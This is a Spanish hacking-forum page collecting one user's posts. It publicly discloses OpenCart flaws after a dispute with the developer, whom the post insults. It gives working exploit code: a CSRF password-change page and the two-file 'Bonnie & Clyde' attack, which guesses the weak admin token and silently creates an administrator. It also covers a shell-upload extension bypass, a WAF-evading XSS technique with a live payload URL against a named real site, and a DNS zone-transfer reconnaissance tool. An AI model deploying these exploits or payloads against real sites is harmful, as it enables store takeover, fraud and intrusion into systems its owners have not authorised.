elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Nivel Web / OPENCART SUCKS! en: 18 Diciembre 2010, 14:03 pm
Hola gente. Escribo acerca de Opencart y su programador, el cual parece ser una persona incapaz en el más amplio sentido de la palabra. Desde elhacker.net hemos llevado a cabo una auditoría del sistema Opencart. El director del CMS Opencart fue invitado a la pagina de code.google.com donde solíamos ir publicando las vulnerabilidades. Este subnormal, porque  no se le puede llamar de otro modo, en lugar de hacer caso de los fallos de seguridad, prefiere cerrar los ojos, desvalorizar nuestras aportaciones y tomarnos por tontos (supongo). Por eso he decidido publicar los fallos de seguridad que he encontrado yo, así como las conversaciones con este individuo en la página de google. Si los compañeros del proyecto quieren publicar las suyas, adelante, les animo a ello. Anormales como este no deberían ser ayudados por nosotros para mejorar su sistema. Juzguen ustedes mismos:

Issue 15:   CROSS SITE REQUEST FORGERY [by SH4V]

Mediante un ataque CSRF ó XSRF (Cross Site Request Forgery) se puede forzar a un cliente a cambiar datos de su cuenta como la contraseña, su dirección de correo, nombre, apellidos... así como modificar productos de su carro de compra. Esto se debe a que no utiliza métodos de protección ante ataques CSRF como tokens o captchas. En la administración de OpenCart se utiliza un token que puede ser visualizado en la parte de la url:
admin/index.php?route=common/home&token=6512bd43d9caa6e02c990b0a82652dca
Esto hace que la Administración del sistema "esté segura" (más adelante mostraré como se genera esa clave, que puede ser hackeada extendiendo el XSRF al panel de adminsitración).

EXPLOIT:
Código:
<html>
<body>
<script>
var body=document.body;
var form=document.createElement("form");
form.action="http://www.opencart-example.es/index.php?route=account/password"; form.method="post";
form.enctype="multipart/form-data"; form.id="password";
body.appendChild(form);
var passwd=document.createElement("input");
passwd.type="hidden";
passwd.name="password"; passwd.value="12345";//Sustituir por su contraseña.
form.appendChild(passwd);
var confrm=document.createElement("input"); confrm.type="hidden";
confrm.name="confirm";
confrm.value="12345";//Sustituir por su contraseña. form.appendChild(confrm);
form.submit();
</script>
</body>
</html>

Saludos,

SH4V

RESPUESTA DE DANIEL KERR:

this could work.

but the how would you know who to email? and how would you know they are logged into their customer account. you are taking 1,000,000,000 to 1 chance that you could pull this off.

i can understand the admin panel, but trying to gain access to customers account is pretty pointless since no credit card data is stored.

RESPUESTA MÍA:

This completely works... and it's a security bug anyway. If you want to keep your eyes closed, go on. Social Engineering is pretty  powerful.



Issue 16:   CROSS SITE SCRIPTING [by SH4V]:

El panel de administración es vulnerable ataques XSS (Cross Site Scripting). A pesar de que OpenCart filtra bien prácticamente todas las variables de entrada a través de la función clean(), el editor HTML permite inyectar código javascript asociado a eventos HTML en los tag image y anchor (<img> y <a>). En las imágenes XSS0.png y XSS1.png adjuntas se puede observar a modo de ejemplo como explotar este fallo. En la imagen XSS0.png se muestra donde se inyecta el código. En la imagen XSS1.png se observa el código ejecutado.

XSS0.png:


XSS1.png:


RESPUESTA DE DANIEL KERR:

clown time again.// Me llama payaso o.O

I see you just forget completely that the ckeditor is behind the admin panel and you can not access it.

RESPUESTA MÍA:

But it's a XSS anyway. Don't be upset with me just because you are an awful programmer. Maybe you should think about why your system has been hacked so many times instead of making efforts devaluating the contributions of people that have more important stuffs than looking for vulnerabilities in your crappy system.



Issue 18:   PHP SCRIPT UPLOAD:

OpenCart brinda al administrador la oportunidad de vender archivos virtuales. Esto implica que el administrador deba subir esos archivos al servidor. El sistema cuenta con un mecanismo que comprueba la extensión del archivo y evita que aquellos con extensión .php lleguen al servidor. Con esto se pretende evitar al hacker tomar control directo del servidor en el caso de que haya burlado las medidas de seguridad necesarias para poseer el control del panel de administración. Esta misiva podría realizarse si el usuario consiguiera subir y ejecutar una shell en php.  Sin embargo, aunque pudiera parecer que estamos seguros ante este tipo de ataque, el mecanismo para detectar archivos con extension .php y que por tanto podrían contener el código de una shell y dar el control del servidor al atacante, no es seguro. La función upload(), localizada en el archivo admin/controller/common/filemanager.php no controla otras extensiones dañinas que también permiten ejecutar código PHP como es el caso de .php3, .php4, .php5, .php6, .phtml, php.00, php.01, etc... Así, un atacante que renombrara con una de estas extensiones su shell, podría subir exitosamente el archivo dañino y controlar el servidor.

RESPUESTA DE DANIEL KERR:

if you had bothered to check you would know that downloads are not saved with the extension and are renamed so people can not guess the files name. they also miss out completely the fact that uploading any type of files require access to the admin panel and have the correct permissions.

you really are a clown! //Y me llama otra vez payaso!

RESPUESTA MÍA:

You don't even understand anything!!! Once the hacker have taken cotrol of the admin panel by using the Bonie & Clyde exploit, he can access to the server by uploading a shell!



Issue 17:   TOKEN PREDICTION [by SH4V]:

Anteriormente se ha tratado el tema de los CSRF y su protección por medio de tokens (claves generadas de forma aleatoria que sólo conoce el administrador y por consiguiente impiden al atacante forzar a la víctima a realizar acciones en contra de su propia voluntad y bajo su propio desconocimiento). Sin embargo, si el atacante consiguiera predecir el token (la clave aleatoria genera del administrador), éste sería víctima otra vez de ataques CSRF puesto que la clave personal ó token sería utilizado por el atacante para realizar este tipo de ataques. Analizando el mecanismo de generación de tokens, el cual puede ser localizado en: /admin/controller/common/login.php vemos como resulta sencillísimo para un atacante predecir es clave:
$this->session->data['token'] = md5(rand(0, 15));
El código de arriba genera el token y lo almacena en una variable de sesión. La generación del token se hace del siguiente modo:

1. Se elige al azar un número del 0 al 15.
2. El número elegido al azar es cifrado a md5.
3. Ese número se almacena en una variable de sesión.

Como se puede observar, el atacante podría probar con cada uno de los 16 tokens posibles hasta que uno diera en el blanco. Junto a este informe se incluye un Exploit (programa para explotar fallos de seguridad) que permitiría a un atacante hacerse con el control de la administración explotando esta predicción del token. Tras dar con el token utilizado por el administrador, se le podría forzar a modificar su contraseña y entrar en el panel de administración.

Adjunto va un exploit que le he llamado BONNIE & CLYDE. Si tenéis dudas de como utilizarlo, leeis el README.

EXPLOIT:

Código
  1. <html>
  2. <!--
  3. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  4. :       :
  5. : Bonnie & Clyde       :
  6. : Exploit para OpenCart > 1.4.9.x       :
  7. :    by SH4V       :
  8. :       :
  9. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::-->
  10. <body>
  11. <script language="javascript">
  12.  
  13. function redirect(url){
  14. document.location=url;
  15. }
  16.  
  17. var adminRoute = "http://www.tudominio.es/admin/index.php?route=common/home&token=";//Modificar por http://tupagina.com/admin/index.php?route=common/home&token=
  18. var urlredir="http://demo.opencart.com";//Elegir página a la que se quiere redirigir.
  19.  
  20. var md5 = ["cfcd208495d565ef66e7dff9f98764da",
  21. "c4ca4238a0b923820dcc509a6f75849b",
  22. "c81e728d9d4c2f636f067f89cc14862c",
  23. "eccbc87e4b5ce2fe28308fd9f2a7baf3",
  24. "a87ff679a2f3e71d9181a67b7542122c",
  25. "e4da3b7fbbce2345d7772b0674a318d5",
  26. "1679091c5a880faf6fb5e6087eb1b2dc",
  27. "8f14e45fceea167a5a36dedd4bea2543",
  28. "c9f0f895fb98ab9159f51fd0297e236d",
  29. "45c48cce2e2d7fbdea1afc51c7c6ad26",
  30. "d3d9446802a44259755d38e6d163e820",
  31. "6512bd43d9caa6e02c990b0a82652dca",
  32. "c20ad4d76fe97759aa27a0c99bff6710",
  33. "c51ce410c124a10e0db5e4b97fc2af39",
  34. "aab3238922bcc25a6f606eb525ffdc56",
  35. "9bf31c7ff062936a96d3c8bd1f8f2ff3"];
  36.  
  37. for (var i=0; i<md5.length; i++){
  38.  
  39. var anchor = document.createElement("a");
  40. anchor.id = "anchor"+i;
  41. anchor.href = adminRoute + md5[i];
  42. anchor.innerHTML = md5[i];
  43. document.write("<style>#anchor" + i + ":visited {color: #FFFFFF;}</style>");
  44. document.body.appendChild(anchor);
  45. var color = document.defaultView.getComputedStyle(anchor,null).getPropertyValue("color");
  46. document.body.removeChild(anchor);
  47. if (color == "rgb(255, 255, 255)"){
  48. var frame = document.createElement("iframe");
  49. frame.height="0";
  50. frame.width="0";
  51. frame.frameborder="0";
  52. frame.scrolling="no";
  53.  
  54. frame.src="clyde.php?token="+md5[i];
  55. document.body.appendChild(frame);
  56. setTimeout("redirect(urlredir)", 4000);
  57. }
  58. }
  59.  
  60. </script>
  61. </body>
  62. </html>

Código
  1. <?php
  2. /*
  3. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  4. :       :
  5. : Bonnie & Clyde       :
  6. : Exploit para OpenCart > 1.4.9.x       :
  7. :    by SH4V       :
  8. :       :
  9. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  10. */
  11. $bank="http://www.tudominio.es/";//Modificar por la web. Ejemplo http://tuweb.com/
  12. $user="";//Nombre de usuario
  13. $name="";//Nombre
  14. $last="";//Apellidos
  15. $mail="";//Correo Electrónico
  16. $passwd="";//Contraseña
  17. ($user=="")?$user="0wn3d":"foo";
  18. ($name=="")?$name="0wn3d":"foo";
  19. ($last=="")?$last="0wn3d":"foo";
  20. ($passwd=="")?$passwd="0wn3d":"foo";
  21.  
  22. if (isset($_GET['token'])){
  23. $gun="<html>
  24. <body>
  25. <h1>alala</h1>
  26. <script>
  27. var form=document.createElement('form');
  28. form.action='$bank"."admin/index.php?route=user/user/insert&token=".htmlentities($_GET['token'])."';
  29. form.method='post';
  30. form.enctype='multipart/form-data';
  31. var user=document.createElement('input');
  32. user.type='hidden';
  33. user.name='username';
  34. user.value='$user';
  35. form.appendChild(user);
  36.  
  37. var name=document.createElement('input');
  38. name.type='hidden';
  39. name.name='firstname';
  40. name.value='$name';
  41. form.appendChild(name);
  42.  
  43. var last=document.createElement('input');
  44. last.type='hidden';
  45. last.name='lastname';
  46. last.value='$last';
  47. form.appendChild(last);
  48.  
  49. var mail=document.createElement('input');
  50. mail.type='hidden';
  51. mail.name='email';
  52. mail.value='$mail';
  53. form.appendChild(mail);
  54.  
  55. var user_group_id=document.createElement('input');
  56. user_group_id.type='hidden';
  57. user_group_id.name='user_group_id';
  58. user_group_id.value='1';
  59. form.appendChild(user_group_id);
  60.  
  61. var passwd=document.createElement('input');
  62. passwd.type='hidden';
  63. passwd.name='password';
  64. passwd.value='$passwd';
  65. form.appendChild(passwd);
  66.  
  67. var confirm=document.createElement('input');
  68. confirm.type='hidden';
  69. confirm.name='confirm';
  70. confirm.value='$passwd';
  71. form.appendChild(confirm);
  72.  
  73. var status=document.createElement('input');
  74. status.type='hidden';
  75. status.name='status';
  76. status.value='1';
  77. form.appendChild(status);
  78.  
  79. document.body.appendChild(form);
  80.  
  81. document.forms[0].submit();
  82.  
  83. </script>
  84.  
  85. </body>
  86. </html>";
  87.  
  88. echo $gun;
  89. }
  90.  
  91. ?>
  92.  

Código
  1. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  2.  
  3. :       :
  4.  
  5. : Bonnie & Clyde       :
  6.  
  7. : Exploit para OpenCart > 1.4.9.x       :
  8.  
  9. :    by SH4V       :
  10.  
  11. :       :
  12.  
  13. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  14.  
  15.  
  16. El siguiente exploit permitirá a un atacante hacerse con el control del panel de administración.
  17. Está compuesto por dos archivos llamados bonnie.htm y clyde.php. Estos archivos actúan juntos y
  18. son 100% eficaces si el administrador ha iniciado sesión. El archivo bonnie.htm extrae posibles
  19. tokens utilizados por el administrador en el panel de administración y crea unos frames al archivo
  20. clyde.php, que a su vez lleva a cabo un ataque CSRF para crear un nuevo usuario con cuenta de
  21. administrador. Todo esto realizado de forma imperceptible a la víctima, que será redirigida a una
  22. página predefinida sin ser consciente de todo el proceso realizado. El ataque es una combinación
  23. de varios fallos de seguridad incluidos en el informe. En este caso se crea un usuario nuevo que
  24. tendría acceso al panel de administración pero pueden crearse múltiples variantes como por ejemplo:
  25. cambiar la cuenta pay pal, alterar el número de cuenta en el que se deben realizar las transferencias
  26. bancarias, modificar la contraseña del adminsitrador, eliminar y crear productos y/o categorías, etc.
  27. Para hacerlo funcionar, hay que modificar los campos de usuario y contraseña del nuevo usuario que va
  28. a ser creado con privilegios de administrador y subir ambos archivos a un servidor. Finalmente sólo
  29. hay que enviar un link al archivo bonnie.htm (Ejemplo: http://servidor-del-hacker.com/bonnie.htm).
  30. Una vez el administrador de OpenCart haya pinchado en ese link, un nuevo usuario con privilegios de
  31. administrador será creado.
  32.  



RESPUESTA DE DANIEL KERR:

which version does this work on?

or have you just been trolling the opencart forum?

as soon as we spotted the mistake it was fixed a few months ago but you decided to post it just 2 hours ago.

RESPUESTA MÍA:

Seriously... Don't you have any kind of tumor in your brain? Because I'm starting to be worried about you. Maybe you have lost the last neurons you had because otherwise I can't understand why you say it was fixed two months ago. The release opencart_v1.4.9.1 (08-September-2010) which can be downloaded from:

http://code.google.com/p/opencart/downloads/detail?name=opencart_v1.4.9.1.zip&can=2

... contains the following fragment of code in the directory "/admin/controller/common/login.php" which is still vulnerable:

$this->session->data['token'] = md5(rand(0, 15));

And a few hours later of the bug report, through the art of magic, a new release appeared which has mysteriously fixed this bug using the function mt_rand():

$this->session->data['token'] = md5(mt_rand());

Come on!! Stop thinking we are idiots because we are not. We are here to helping you without wanting money, just because we want to colaborate with your stupid project. And we have just been wasting our time with someone who cannot appreciate our contributions.

By the way, bugs are going to be revealed right away. And these conversations too. Thus, people will see which kind of person is managing the crappy project of Opencart.

SH4V.



Más información sobre este tema:

http://foro.elhacker.net/nivel_web/opencart_se_niega_a_arreglar_vulnerabilidades_y_sabotea_los_parches-t294544.0.html

Ya está todo dicho. He posteado los bugs y los exploits porque he acabado indignado con este personaje. Aún encima que perdemos nuestro tiempo en colaborar para su proyecto mejore, desvaloriza nuestras aportaciones y nos desvaloriza a nosotros.

Qué opináis?
2  Seguridad Informática / Nivel Web / BACKBONE XSS, bypasseando el WAF [by SH4V] en: 17 Mayo 2010, 15:12 pm
BACKBONE XSS

Bueno, le he puesto ese nombre a esta técnica porque me recuerda mucho  (no sé por qué) al cable backbone que se utiliza para conectar redes internas a un mismo enroutador, de ahí su nombre. No sé si alguien antes se había percatado de esto, pero la red está plagada de cerebritos así que no me extrañaría nada. ¿En qué consiste este tipo de XSS? en realidad es un XSS normal y corriente con la diferencia de que utiliza más de una variable de entrada para inyectar código. Es decir, aprovecha varios campos en los que se inyecta el código html para abrir y cerrar etiquetas y así provocar el XSS. ¿Cuándo es útil? Cuando la página tiene algún tipo de de WAF o medida de protección que filtra determinados caracteres o cadenas de caracteres ya sea por expresiones regulares o no. Para que lo entendáis mejor utilizaré una web REAL que encontré una vez:

http://paginaweb.com/search.php?palabra=<script>alert(0)</script>&language=ES

El WAF detecta que has metido unos caracteres maliciosos y te salta una alerta del tipo: "Has ingresado caracteres prohibidos." Tras probar diversos string, veo que filtra lo toda cadena precedida de "<" seguida de ">" o cualquier catacter alfanumérico de 2 o más bytes de longitud, es decir:

- <script> // Salta el WAF
- <img //Salta el Waf
- <sdfalsdfj> //Salta el WAF
- <iframe src=//Salta el WAF
- <a // NO salta el WAF.

Veamos esta consulta:

http://paginaweb.com/search.php?palabra='Hola">&language=ES

Si miramos el código fuente de la página vemos lo siguiente:

Código
  1. <form action="search.php" method="GET">
  2. <input type="hydden" name="palabra" value="'Hola">">
  3. <input type="hydden" name="language" value="ES">
  4. </form>
  5.  


Lo que vamos a hacer es aprovechar las variables de entrada "palabra" y "language" para inyectar el XSS:

http://paginaweb.com/search.php?palabra="><a onmouseover=alert(0) href="&language=">PON EL MOUSE AQUÍ</a

Código
  1. <form action="search.php" method="GET">
  2. <input type="hydden" name="palabra" value=""><a onmouseover=alert(0) href="">
  3. <input type="hydden" name="language" value="">PON EL MOUSE AQUÍ</a">
  4. </form>
  5.  

Y ya tenemos nuestro XSS!

Ejemplo de página vulnerable:

http://www.cope.es/buscador.php5?domains=cope.esa%22%3E%3Ca%20onmouseover=alert%28%27XSS-BY-SH4V%27%29%20href=%22&client=pub-0407161721220178&forid=1&ie=ISO-8859-1&oe=ISO-8859-1&safe=active&cof=GALT%3A%23008000%3BGL%3A1%3BDIV%3A%23336699%3BVLC%3A663399%3BAH%3Acenter%3BBGC%3AFFFFFF%3BLBGC%3A336699%3BALC%3A0000FF%3BLC%3A0000FF%3BT%3A000000%3BGFNT%3A0000FF%3BGIMP%3A0000FF%3BFORID%3A11&hl=es&q=%22%3EPON%20EL%20MOUSE%20AQUI!%3C/a&sa=&sitesearch=cope.es

Código HTML:

   
Código
  1. <form name="buscador" action="buscador.php5" method="get" target="_top">
  2. <input type="hidden" name="domains" value="cope.esa"><a onmouseover=alert('XSS-BY-SH4V') href="" />
  3.  
  4. <input type="hidden" name="q" value="">PON EL MOUSE AQUI!</a" />
  5. <input type="hidden" name="sa" value="" />
  6. <input type="hidden" name="sitesearch" value="" />
  7. <input type="hidden" name="client" value="pub-0407161721220178" />
  8. <input type="hidden" name="forid" value="1" />
  9. <input type="hidden" name="ie" value="ISO-8859-1" />
  10. <input type="hidden" name="oe" value="ISO-8859-1" />
  11. <input type="hidden" name="safe" value="active" />
  12.  
  13. <input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:11" />
  14. <input type="hidden" name="hl" value="es" />
  15. </form>
  16.  

Creo que ha quedado más o menos claro. Si hay alguna duda decidlo. Espero comentarios!

PS.- SI YA EXISTE NOMBRE PARA ESTA TÉCNICA DECIDLO.

Saludos!
3  Seguridad Informática / Bugs y Exploits / Denial of Service in RegExp en: 12 Mayo 2010, 20:57 pm
Paper sobre reDoS:

http://n3t-datagrams.net/papers/reDOS-n3t-datagrams-by-SH4V.pdf

Saludos!
4  Programación / Scripting / Mantis 2.0 en: 25 Diciembre 2009, 18:39 pm
Os presento a Mantis, una herramienta diseñada para recopilar información sobre servidores DNS y nombres de dominio. Creo que no me equivoco al decir que compite por ser una de las mejores y más completas herramientas de toda la red en cuanto al protocolo DNS se refiere. Os dejo el código fuente. Para utilizarla necesitaréis:

- Intérprete Ruby en su versión 1.8.6 mínimo.
- Rubygems
- Mechanize
- Net-DNS en su versión 0.5.3 (La versión 0.6.0 tiene un bug y de momento está inoperativa hasta la versión 0.7.0

Podéis instalar el interprete Ruby y Rubygems desde los repositorios ó bien compilandolo desde el código fuente desde aquí:

http://www.ruby-lang.org/en/downloads/
http://docs.rubygems.org/read/chapter/3

Mechanize y net-dns se instalan desde rubygems de la siguiente manera:

gem install mechanize
gem install net-dns -v 0.5.3

La versión 2.0. Incluye dos modalidades más de ataque.

1.- Ataque "--all": Realiza un barrido de querys a los servidores DNS.
2.- Ataque "--mantis": Realiza un barrido inverso con puntero inverso PTR y a las direcciones IP no resueltas, aplica un Reverse DNS para ver posibles Vhosts con ese nombre de dominio.


Cómo no, Open Source =)

Código
  1. #!/usr/bin/ruby
  2. # Programmed by Sh4V. N-D Security Team.
  3. # Visit http://n3t-datagrams.net && http://foro.undersecurity.net
  4. require 'socket'
  5. require 'ftools'
  6. require 'rubygems'
  7. require 'mechanize'
  8. require 'net/dns/rr'
  9. require 'net/dns/packet'
  10. require 'net/dns/resolver'
  11. mantis="
  12.        :::   :::       :::     ::::    ::: ::::::::::: ::::::::::: ::::::::
  13.      :+:+: :+:+:    :+: :+:   :+:+:   :+:     :+:         :+:    :+:    :+:
  14.    +:+ +:+:+ +:+  +:+   +:+  :+:+:+  +:+     +:+         +:+    +:+        
  15.   +#+  +:+  +#+ +#++:++#++: +#+ +:+ +#+     +#+         +#+    +#++:++#++  
  16.  +#+       +#+ +#+     +#+ +#+  +#+#+#     +#+         +#+           +#+    
  17. #+#       #+# #+#     #+# #+#   #+#+#     #+#         #+#    #+#    #+#    
  18. ###       ### ###     ### ###    ####     ###     ########### ########      
  19.  
  20.  
  21.                       ::::::::       :::::::
  22.                     :+:    :+:     :+:   :+:
  23.                          +:+      +:+   +:+  
  24.                       +#+        +#+   +:+  
  25.                    +#+          +#+   +#+    
  26.                  #+#       #+# #+#   #+#    
  27.                ########## ###  #######      
  28. ==========================================================================
  29. "
  30.  
  31. version= "v2.0"
  32.  
  33. puts "Mantis #{version} by Sh4V http://n3t-datagrams.net"
  34.  
  35. sub=["foro","access",  "accounting", "accounts", "active", "ad", "admin", "administracion", "administrador", "administrator", "administration", "advertising", "agent", "ap", "apple", "archives", "area", "as", "b2b", "b2c", "backup", "backups", "bart", "beta", "bigip", "billing", "blackboard", "blog", "blogs", "book", "books", "c2b", "c2c", "ca", "carro", "cart", "catalog", "catalogue", "channel", "channels", "chat", "chimera", "cisco", "citrix", "classroom", "conect", "connect", "controller", "conferece", "core", "corporate", "cpanel", "csg", "customers", "database", "db", "dbs", "demo", "demostration", "design", "desk", "desktop", "dev", "devel", "developers", "development", "directory", "dmz", "dns", "dns1", "dns2", "dns3", "domain", "domain1", "domain2", "domain3", "domaincontroller", "download", "downloads", "ds", "eaccess", "e", "eng", "es", "events", "example", "examples", "exchange", "exec", "extranet", "feed", "feeds", "file", "files", "fileserver", "finance", "firewall", "forum", "foro","forums", "fs", "ftp", "ftpd", "fw", "gallery", "game", "games", "gateway", "groups", "guide", "gw", "help", "helpdesk", "home", "hotspot", "hp-ux", "hpux", "ids", "im", "images", "imail", "imap", "imap1", "imap2", "imap3", "imgs", "internal", "intranet", "ipsec", "irc", "irc1", "irc2", "irc3", "irix", "itil", "lab", "laboratories", "labs", "lan", "ldap", "library", "linux", "localhost", "login", "logs", "lotus", "mail", "mail1", "mail2", "mail3", "mailgate", "main", "man", "manager", "maps", "marketing", "member", "members", "mercury", "messenger", "meeting", "mmc", "mngt", "mobil", "mobile", "mom", "money", "monitor", "monitoring", "moodle","mrtg", "mssql", "mx", "mx1", "mx2", "mx3", "mysql", "mysql1", "mysql2", "mysql3", "nameserver", "neon", "netmail", "netmeeting", "netscaler", "netscreen", "netstats", "network", "news", "news", "newsfeed", "newsfeeds", "newsgroups", "newton", "noc", "notes", "novell", "ns", "null", "online", "open", "openbsd", "openview", "operations", "oracle", "outlook", "owa", "pan", "partner", "partners", "pc", "pcanywhere", "pegasus", "peoplesoft", "personal", "photo", "photos", "podcast", "podcasts", "pop", "portal", "postgres", "ppp", "printer", "priv", "priv8", "private", "proxy", "prtg", "public", "radius", "ras", "relay", "remote", "reports", "research", "restricted", "router", "rss", "sales", "sample", "samples", "sandbox", "search", "secure", "security", "sendmail", "server", "server1", "server2", "server3", "services", "share", "sharepoint", "shop", "shopping", "sms", "smtp", "smtp1", "smtp2", "smtp3", "solaris", "sql", "squirrel", "squirrelmail", "ssh", "staff", "stage", "staging", "stats", "storage", "sun", "support", "sus", "test", "tftp", "tmp", "transfer", "ts", "uddi", "unix", "upload", "uploads", "vid", "video", "videos", "virtual", "vista", "vnc", "vpn", "wan", "wap", "web", "webadmin", "webct", "webcast", "webcasts", "webmail", "webmaster", "wiki","windows", "wingate", "wlan", "wsus", "ww", "www", "www1", "www2", "www3", "xml"]
  36.  
  37. def resolv(domain, query,all)
  38. res=Net::DNS::Resolver.new
  39. res.tcp_timeout=10
  40. begin
  41. que=res.query(domain, query)
  42. rescue Net::DNS::RR::ArgumentError
  43. puts "The argument #{query} is wrong."
  44. rescue
  45. puts "An error ocurred while the #{query} query was sent."
  46. else
  47. if all==0
  48. puts "Answer section:"
  49. puts que.answer
  50. print "\n"
  51. puts"Additional section:"
  52. puts que.additional
  53. elsif all==1
  54. puts "Answer section:"
  55. puts que.answer
  56. print "\n"
  57. else
  58. puts "aaa"
  59. end
  60. end
  61. end
  62.  
  63. def axfr(domain)
  64. puts "Collecting information from DNS servers in domain: #{domain}
  65. "
  66. ns=Net::DNS::Resolver.new
  67. begin
  68. que=ns.query(domain, Net::DNS::NS)
  69. rescue
  70. puts "An error ocurred while the NS query was sent."
  71. else
  72. ip=que.answer.to_a
  73. iparr=[]
  74. nsarr=[]
  75. ip.each do |ipx|
  76. ipx=ipx.to_s
  77. ipx << "*"
  78. ipx=ipx.split('NS      ')
  79. ipx.shift
  80. ipx.each do |x|
  81. x=x.gsub('*',  '')
  82. nsarr<<x
  83. end
  84. end
  85. nsarr.each do |x|
  86. iparr << Socket.getaddrinfo(x, 80)[0][3]
  87. end
  88. puts "DNS server(s) IP's:"
  89. iparr.each do |x|
  90. puts "[-] #{x}"
  91. end
  92. print "\n"
  93. iparr.each do |ip|
  94. puts "[+]Trying AXFR attack with DNS server: #{ip}"
  95. ns.nameservers=ip
  96. ns.tcp_timeout=10
  97. begin
  98. axfr=ns.send(domain, Net::DNS::AXFR)
  99. rescue
  100. puts "An error ocurred while the AXFR attack was sent."
  101. else
  102. if axfr.answer.length != 0
  103. print "\n"
  104. puts axfr.answer
  105. print "\n"
  106. else
  107. puts "Zone transfer failed."
  108. print "\n"
  109. end
  110. end
  111. end
  112. end
  113. end
  114.  
  115.  
  116. def ixfr(domain)
  117. puts "Collecting information from DNS servers in domain: #{domain}
  118. "
  119. res=Net::DNS::Resolver.new
  120. begin
  121. soa=res.query(domain, Net::DNS::SOA)
  122. rescue
  123. puts "An error ocurred while the SOA query was sent."
  124. else
  125. dat=soa.answer.to_s.split('. ')
  126. fields=dat[3].split(' ')
  127. fields[0,0]=dat[1].split('SOA     ')[1]
  128. fields[1,0]=dat[2]
  129. begin
  130. ns=res.query(domain, Net::DNS::NS)
  131. rescue
  132. puts "An error ocurred while the NS query was sent."
  133. else
  134. ip=ns.answer.to_a
  135. nsarr=[]
  136. iparr=[]
  137. ip.each do |ipx|
  138. ipx=ipx.to_s
  139. ipx << "*"
  140. ipx=ipx.split('NS      ')
  141. ipx.shift
  142. ipx.each do |x|
  143. x=x.gsub('*',  '')
  144. nsarr<<x
  145. end
  146. end
  147. nsarr.each do |x|
  148. iparr << Socket.getaddrinfo(x, 80)[0][3]
  149. end
  150. puts "DNS server(s) IP's:"
  151. iparr.each do |x|
  152. puts "[-] #{x}"
  153. end
  154. print "\n"
  155.  
  156. rrauth = Net::DNS::RR.new(
  157. :name => domain,
  158. :ttl =>86400,
  159.               :mname    => fields[0],
  160. :rname => fields[1],
  161.                :serial => fields[2].to_i,
  162. :refresh => fields[3].to_i,
  163. :retry =>fields[4].to_i,
  164. :expire => fields[5].to_i,
  165. :minimum =>fields[6].to_i,
  166.                :cls     => "IN",
  167.                :type    => "SOA"
  168.        )
  169. rrques = Net::DNS::Question.new(domain, Net::DNS::IXFR)
  170. packet=Net::DNS::Packet.new(domain)
  171. packet.authority= rrauth
  172. packet.question=rrques
  173. resixfr=Net::DNS::Resolver.new
  174.  
  175. iparr.each do |ip|
  176. puts "[+]Trying IXFR attack with DNS server: #{ip}"
  177. resixfr.nameservers=ip
  178. resixfr.tcp_timeout=10
  179. begin
  180. ixfr=resixfr.send(packet)
  181. rescue
  182. puts "An error ocurred while the IXFR attack was sent."
  183. else
  184. header=ixfr.authority
  185. if ixfr.answer.length != 0
  186. print "\n"
  187. puts ixfr.answer
  188. print "\n"
  189. else
  190. puts "Incremental zone transfer failed."
  191. print "\n"
  192. end
  193. end
  194. end
  195. end
  196. end
  197. end
  198.  
  199. def ptr(ipi, ipf)
  200. control=''
  201. ipi.each do |x|
  202. if x.to_i>=255
  203. control << "+"
  204. end
  205. end
  206. ipf.each do |x|
  207. if x.to_i>=255
  208. control << "+"
  209. end
  210. end
  211.  
  212. if ipi[0]==ipf[0] && ipi[1]==ipf[1] && ipi[2]==ipf[2]  && ipi[3]<=ipf[3]&& control.length == 0
  213. res=Net::DNS::Resolver.new
  214. ipi[3]=ipi[3].to_i
  215. ipf[3]=ipf[3].to_i
  216. if ipi[3]==0 && ipf[3]==0
  217. ipi[3]=1
  218. ipf[3]=254
  219. elsif ipi[3]==0
  220. ipi[3]=1
  221. end
  222. ipfalse=[]
  223. while ipi[3]<ipf[3]+1
  224. ip="#{ipi[0]}.#{ipi[1]}.#{ipi[2]}.#{ipi[3]}"
  225. arpaip="#{ipi[3]}.#{ipi[2]}.#{ipi[1]}.#{ipi[0]}.in-addr.arpa"
  226. begin
  227. que=res.query(arpaip, Net::DNS::PTR)
  228. rescue
  229. puts "An error ocurred while the PTR query was sent."
  230. else
  231. if name=que.answer.to_s.split('PTR   ')[1]
  232. else
  233. name=que.answer.to_s.split('CNAME   ')[1]
  234. end
  235. if que.answer.to_s!=''
  236. puts "#{ip} => #{name}"
  237. else
  238. puts "#{ip} => Not resolved."
  239. ipfalse << ip
  240. end
  241. ipi[3]+=1
  242. end
  243. end
  244. else
  245. puts "Invalid IP address structure or interval. Example:"
  246. puts "#{$0} -4 192.168.1.1 192.168.1.254"
  247. end
  248. return ipfalse
  249. end
  250.  
  251. def reverse(ip)
  252. if ip.split('.')[0].to_i == 0 || ip.split('.')[1].to_i == 0 || ip.split('.')[2].to_i == 0 || ip.split('.')[3].to_i == 0 || ip.split('.').length != 4
  253. begin
  254. ip= Socket.getaddrinfo(ip, 800)[0][3]
  255. rescue
  256. puts "Incorrect IP Address or Domain Name."
  257. end
  258. end
  259. puts ip
  260. id=0
  261. control=Array.new
  262. dom=Array.new
  263. domains=Array.new
  264. until id==10000
  265. agent=WWW::Mechanize.new
  266. url=agent.get("http://api.search.live.net/json.aspx?AppId=7066FAEB6435DB963AE3CD4AC79CBED8B962779C&Query=IP:#{ip}&Sources=web&Web.Offset=#{id}")
  267. res=url.body.split('"DisplayUrl":"')
  268. control=dom
  269. dom=Array.new
  270. res.each do |x|
  271. dom<<x.split('",')[0].gsub("\\", '').split('/')[0].gsub("www.", '')
  272. end
  273. dom.shift
  274. domains << dom
  275. if control[0]==dom[0]
  276. id=9990
  277. end
  278. id+=10
  279. end
  280. domains=domains.flatten.uniq
  281. puts domains
  282. end
  283.  
